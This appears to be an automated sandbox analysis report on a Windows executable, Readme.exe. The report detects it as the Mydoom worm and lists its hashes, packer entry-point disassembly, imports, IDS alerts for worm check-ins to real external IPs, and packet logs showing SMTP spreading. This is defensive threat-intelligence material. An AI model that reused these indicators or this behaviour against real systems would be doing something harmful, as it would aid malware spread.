SHA-256:	C6AE23ADDA93CE20CF404C9A9BC10CE88DF546515708615D97DD63E7403F6E42
SHA-512:	54438CC463870A56D5FCD017DBD2F0006D8574A77193CA2CC1C85761F2D5D2689A6844296516EBA93B0777F333B43D2EC2CBE8FF1D0C218742EB4579F55F4953
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	PK........m._1..M. ... .......foto.pifMZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... .....................................................................................................................................................5c6ayarg.0..............................5b08dehf.....@......................@...5a51agoe@.......@...................@.......................................@..@..........................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.592038100203125
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	Readme.exe
File size:	45088
MD5:	524f7a2e27d9d2adcc83d8836f1a37ac
SHA1:	323762820afaa918068a5d4c01171bdc6be655b2
SHA256:	8ddd79c7d77cc826b18f9dbaaebc2735d68c78b2e9c9fa8407a5d549cb893769
SHA512:	2f35d7d3fe81d5380ced14cac63d5f4bc226fa90ba5af31f4d72994c98541b0ca915cd9ea7dd01fc2cde0d74ae1bea8eadfdf0947022b2af4aec64be10655abf
SSDEEP:	768:7XeMc5VwWt1jDkbXdnTOyQxHFO+IxX2P5LIbbcPYir2lAqcdF0i09syp:7Xq5VwWDjDkdTRqHFOn8tIbbeYiuZIFw
TLSH:	C113C090B12297B5D20067734B42DBC52371BD71BB5667562AC1BFBFBC322B84416A3C
File Content Preview:	MZ......................@.......................................................................................................PE..L......................8.........0.......@........@........................................... ............................

File Icon


Icon Hash:	c6d2f2c2cec2c2e2

Static PE Info

General

Entrypoint:	0x41d990
Entrypoint Section:	7b62clda
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	516ac027f1c3c7a86cc636d666c6f3e2

Entrypoint Preview

Instruction
pushad
mov esi, 00414015h
lea edi, dword ptr [esi-00013015h]
push edi
jmp 00007F70B070C6EDh
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F70B070C6E9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F70B070C6CFh
mov eax, 00000001h
add ebx, ebx
jne 00007F70B070C6E9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F70B070C6D1h
jne 00007F70B070C6EBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F70B070C6C6h
xor ecx, ecx
sub eax, 03h
jc 00007F70B070C6EFh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F70B070C756h
mov ebp, eax
add ebx, ebx
jne 00007F70B070C6E9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007F70B070C6E9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007F70B070C702h
inc ecx
add ebx, ebx
jne 00007F70B070C6E9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F70B070C6D1h
jne 00007F70B070C6EBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F70B070C6C6h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F70B070C6F1h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007F70B070C6D9h
jmp 00007F70B070C648h
nop
mov eax, dword ptr [edx]
add edx, 04h
mov dword ptr [edi], eax
add edi, 04h
sub ecx, 04h
jnbe 00007F70B070C6D3h
add edi, ecx
jmp 00007F70B071C631h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1e510	0x1e8	741wtwsm
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1f000	0x600
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
7308zxye	0x1000	0x13000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7b62clda	0x14000	0xa000	0x9c00	False	0.9779146634615384	data	7.883560145842604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
741wtwsm	0x1e000	0x840	0x840	False	0.31013257575757575	data	3.6219073001222037	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1f000	0x600	0x600	False	0.19010416666666666	data	2.527431417772713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x1f0d8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States
RT_ICON	0x1f3c0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States
RT_GROUP_ICON	0x1f4e8	0x22	data	English	United States

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
ADVAPI32.DLL	RegCloseKey
DNSAPI.DLL	DnsQuery_A
msvcrt.dll	_iob
USER32.dll	wsprintfA
WININET.DLL	InternetGetConnectedState
WS2_32.DLL	recv

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5192.187.111.22149896802807186 10/31/22-13:20:22.355478	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49896	80	192.168.2.5	192.187.111.221
192.168.2.5192.187.111.22149896802807187 10/31/22-13:20:22.355478	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49896	80	192.168.2.5	192.187.111.221
192.168.2.564.70.19.20350087802807187 10/31/22-13:20:54.489196	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	50087	80	192.168.2.5	64.70.19.203
192.168.2.5199.59.243.22250123802807187 10/31/22-13:20:56.912212	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	50123	80	192.168.2.5	199.59.243.222
192.168.2.564.70.19.20350087802807186 10/31/22-13:20:54.489196	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	50087	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349909802807187 10/31/22-13:20:24.536022	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49909	80	192.168.2.5	64.70.19.203
192.168.2.5199.59.243.22250123802807186 10/31/22-13:20:56.912212	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	50123	80	192.168.2.5	199.59.243.222
192.168.2.564.70.19.20349909802807186 10/31/22-13:20:24.536022	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49909	80	192.168.2.5	64.70.19.203
72.5.161.12192.168.2.580496832037771 10/31/22-13:19:30.191150	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49683	72.5.161.12	192.168.2.5
192.168.2.581.17.18.19649786802807186 10/31/22-13:19:38.132530	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49786	80	192.168.2.5	81.17.18.196
192.168.2.564.70.19.20349937802807186 10/31/22-13:20:26.586645	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49937	80	192.168.2.5	64.70.19.203
192.168.2.581.17.18.19649786802807187 10/31/22-13:19:38.132530	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49786	80	192.168.2.5	81.17.18.196
192.168.2.564.70.19.20349937802807187 10/31/22-13:20:26.586645	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49937	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349726802807187 10/31/22-13:19:33.158870	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49726	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349726802807186 10/31/22-13:19:33.158870	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49726	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349980802807186 10/31/22-13:20:28.917106	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49980	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349980802807187 10/31/22-13:20:28.917106	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49980	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349737802807187 10/31/22-13:19:34.061061	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49737	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349737802807186 10/31/22-13:19:34.061061	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49737	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349921802807186 10/31/22-13:20:25.545727	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49921	80	192.168.2.5	64.70.19.203
192.168.2.572.5.161.1249683802807187 10/31/22-13:19:29.778995	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49683	80	192.168.2.5	72.5.161.12
192.168.2.564.70.19.20349921802807187 10/31/22-13:20:25.545727	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49921	80	192.168.2.5	64.70.19.203
192.168.2.572.5.161.1249683802807186 10/31/22-13:19:29.778995	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49683	80	192.168.2.5	72.5.161.12
192.168.2.5199.59.243.22250054802807186 10/31/22-13:20:34.037259	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	50054	80	192.168.2.5	199.59.243.222
192.168.2.5199.59.243.22250054802807187 10/31/22-13:20:34.037259	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	50054	80	192.168.2.5	199.59.243.222
192.168.2.564.70.19.20350104802807187 10/31/22-13:20:55.522123	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	50104	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20350104802807186 10/31/22-13:20:55.522123	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	50104	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349690802807187 10/31/22-13:19:31.317467	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49690	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349690802807186 10/31/22-13:19:31.317467	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49690	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349721802807186 10/31/22-13:19:32.645713	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49721	80	192.168.2.5	64.70.19.203
192.168.2.563.251.126.1049750802807187 10/31/22-13:19:35.682587	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49750	80	192.168.2.5	63.251.126.10
192.168.2.563.251.126.1049750802807186 10/31/22-13:19:35.682587	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49750	80	192.168.2.5	63.251.126.10
192.168.2.564.70.19.20350034802807186 10/31/22-13:20:33.100885	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	50034	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349721802807187 10/31/22-13:19:32.645713	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49721	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349907802807186 10/31/22-13:20:24.072659	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49907	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20350034802807187 10/31/22-13:20:33.100885	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	50034	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349907802807187 10/31/22-13:20:24.072659	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49907	80	192.168.2.5	64.70.19.203
192.168.2.581.17.29.14649795802807187 10/31/22-13:19:38.457723	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49795	80	192.168.2.5	81.17.29.146
192.168.2.564.70.19.20349957802807186 10/31/22-13:20:27.655570	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49957	80	192.168.2.5	64.70.19.203
192.168.2.581.17.29.14649795802807186 10/31/22-13:19:38.457723	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49795	80	192.168.2.5	81.17.29.146
192.168.2.564.70.19.20349957802807187 10/31/22-13:20:27.655570	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49957	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349686802807187 10/31/22-13:19:30.496187	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49686	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20349686802807186 10/31/22-13:19:30.496187	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49686	80	192.168.2.5	64.70.19.203
192.168.2.5199.59.243.22249811802807187 10/31/22-13:19:40.021080	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49811	80	192.168.2.5	199.59.243.222
192.168.2.5199.59.243.22249811802807186 10/31/22-13:19:40.021080	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49811	80	192.168.2.5	199.59.243.222
192.168.2.581.17.18.19549922802807187 10/31/22-13:20:25.821270	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49922	80	192.168.2.5	81.17.18.195
192.168.2.581.17.18.19649773802807187 10/31/22-13:19:37.212553	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49773	80	192.168.2.5	81.17.18.196
192.168.2.581.17.18.19649773802807186 10/31/22-13:19:37.212553	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49773	80	192.168.2.5	81.17.18.196
192.168.2.581.17.18.19549922802807186 10/31/22-13:20:25.821270	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49922	80	192.168.2.5	81.17.18.195
192.168.2.581.17.29.14750093802807187 10/31/22-13:20:54.967476	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	50093	80	192.168.2.5	81.17.29.147
192.168.2.581.17.29.14750093802807186 10/31/22-13:20:54.967476	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	50093	80	192.168.2.5	81.17.29.147
192.168.2.5199.59.243.22249841802807187 10/31/22-13:20:00.372936	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49841	80	192.168.2.5	199.59.243.222
192.168.2.5199.59.243.22249841802807186 10/31/22-13:20:00.372936	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49841	80	192.168.2.5	199.59.243.222
192.168.2.564.70.19.20349798802807186 10/31/22-13:19:38.799231	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49798	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20350115802807187 10/31/22-13:20:56.296701	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	50115	80	192.168.2.5	64.70.19.203
192.168.2.564.70.19.20350115802807186 10/31/22-13:20:56.296701	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	50115	80	192.168.2.5	64.70.19.203
192.168.2.581.17.29.15049780802807186 10/31/22-13:19:37.816042	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49780	80	192.168.2.5	81.17.29.150
63.251.126.10192.168.2.580497502037771 10/31/22-13:19:36.110741	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	49750	63.251.126.10	192.168.2.5
192.168.2.581.17.29.15049780802807187 10/31/22-13:19:37.816042	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49780	80	192.168.2.5	81.17.29.150
192.168.2.581.17.29.14949768802807187 10/31/22-13:19:36.662756	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49768	80	192.168.2.5	81.17.29.149
192.168.2.5192.187.111.22149919802807186 10/31/22-13:20:25.189597	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49919	80	192.168.2.5	192.187.111.221
192.168.2.581.17.29.14949768802807186 10/31/22-13:19:36.662756	TCP	2807186	ETPRO TROJAN Worm.Mydoom Checkin	49768	80	192.168.2.5	81.17.29.149
192.168.2.5192.187.111.22149919802807187 10/31/22-13:20:25.189597	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49919	80	192.168.2.5	192.187.111.221
192.168.2.564.70.19.20349798802807187 10/31/22-13:19:38.799231	TCP	2807187	ETPRO TROJAN User-Agent (explwer)	49798	80	192.168.2.5	64.70.19.203

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2022 12:19:29.366116047 CET	49683	80	192.168.2.5	72.5.161.12
Oct 31, 2022 12:19:29.778532028 CET	80	49683	72.5.161.12	192.168.2.5
Oct 31, 2022 12:19:29.778673887 CET	49683	80	192.168.2.5	72.5.161.12
Oct 31, 2022 12:19:29.778995037 CET	49683	80	192.168.2.5	72.5.161.12
Oct 31, 2022 12:19:30.191113949 CET	80	49683	72.5.161.12	192.168.2.5
Oct 31, 2022 12:19:30.191149950 CET	80	49683	72.5.161.12	192.168.2.5
Oct 31, 2022 12:19:30.191168070 CET	80	49683	72.5.161.12	192.168.2.5
Oct 31, 2022 12:19:30.191242933 CET	49683	80	192.168.2.5	72.5.161.12
Oct 31, 2022 12:19:30.191404104 CET	49683	80	192.168.2.5	72.5.161.12
Oct 31, 2022 12:19:30.305562973 CET	49686	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:30.495644093 CET	80	49686	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:30.495781898 CET	49686	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:30.496186972 CET	49686	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:30.603540897 CET	80	49683	72.5.161.12	192.168.2.5
Oct 31, 2022 12:19:30.686120033 CET	80	49686	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:30.686155081 CET	80	49686	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:30.686239004 CET	49686	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:30.686372042 CET	49686	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:30.876236916 CET	80	49686	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:31.091017008 CET	49690	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:31.280783892 CET	80	49690	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:31.282423019 CET	49690	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:31.317466974 CET	49690	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:31.507206917 CET	80	49690	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:31.507246017 CET	80	49690	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:31.507359982 CET	49690	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:31.507400990 CET	49690	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:31.696907997 CET	80	49690	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:31.705985069 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:31.846148014 CET	49700	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:31.860843897 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:19:31.860969067 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:31.921298027 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:31.954097986 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:31.954202890 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:31.976492882 CET	49706	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:31.976907015 CET	49707	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:31.977061033 CET	25	49700	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:31.977142096 CET	49700	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:31.996268034 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.003806114 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.036725998 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.048696995 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.048877001 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.087608099 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.090111017 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.090379953 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.109827042 CET	25	49700	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:32.109987020 CET	49700	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:32.120534897 CET	25	49706	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:32.120589018 CET	25	49707	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:32.120667934 CET	49706	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:32.120702028 CET	49707	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:32.127567053 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.241219997 CET	25	49700	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:32.243485928 CET	49700	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:32.375056982 CET	25	49700	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:32.375302076 CET	49700	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:32.442461967 CET	49721	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:32.507499933 CET	25	49700	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:32.507632017 CET	49700	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:32.633326054 CET	80	49721	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:32.633502007 CET	49721	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:32.638268948 CET	25	49700	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:32.639400005 CET	25	49700	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:32.639524937 CET	49700	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:32.641210079 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.645713091 CET	49721	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:32.645829916 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.678793907 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.687155962 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.687342882 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.689095020 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.722083092 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.722119093 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.722135067 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.722153902 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.722170115 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.722198009 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.722265005 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.722290993 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.727483988 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.728029966 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.755224943 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755255938 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755275965 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755292892 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755311966 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755330086 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755346060 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755359888 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755369902 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.755378962 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755393982 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755409002 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755418062 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755429983 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755440950 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.755441904 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755440950 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.755451918 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.755472898 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.761007071 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.761037111 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788491011 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788527966 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788544893 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788563013 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788583994 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788605928 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788624048 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788640976 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788660049 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788674116 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788691998 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788706064 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788718939 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788733006 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788742065 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.788755894 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.800347090 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.800503969 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.836308002 CET	80	49721	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:32.836333036 CET	80	49721	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:32.836450100 CET	49721	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:32.836488962 CET	49721	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:32.838473082 CET	25	49703	142.250.147.26	192.168.2.5
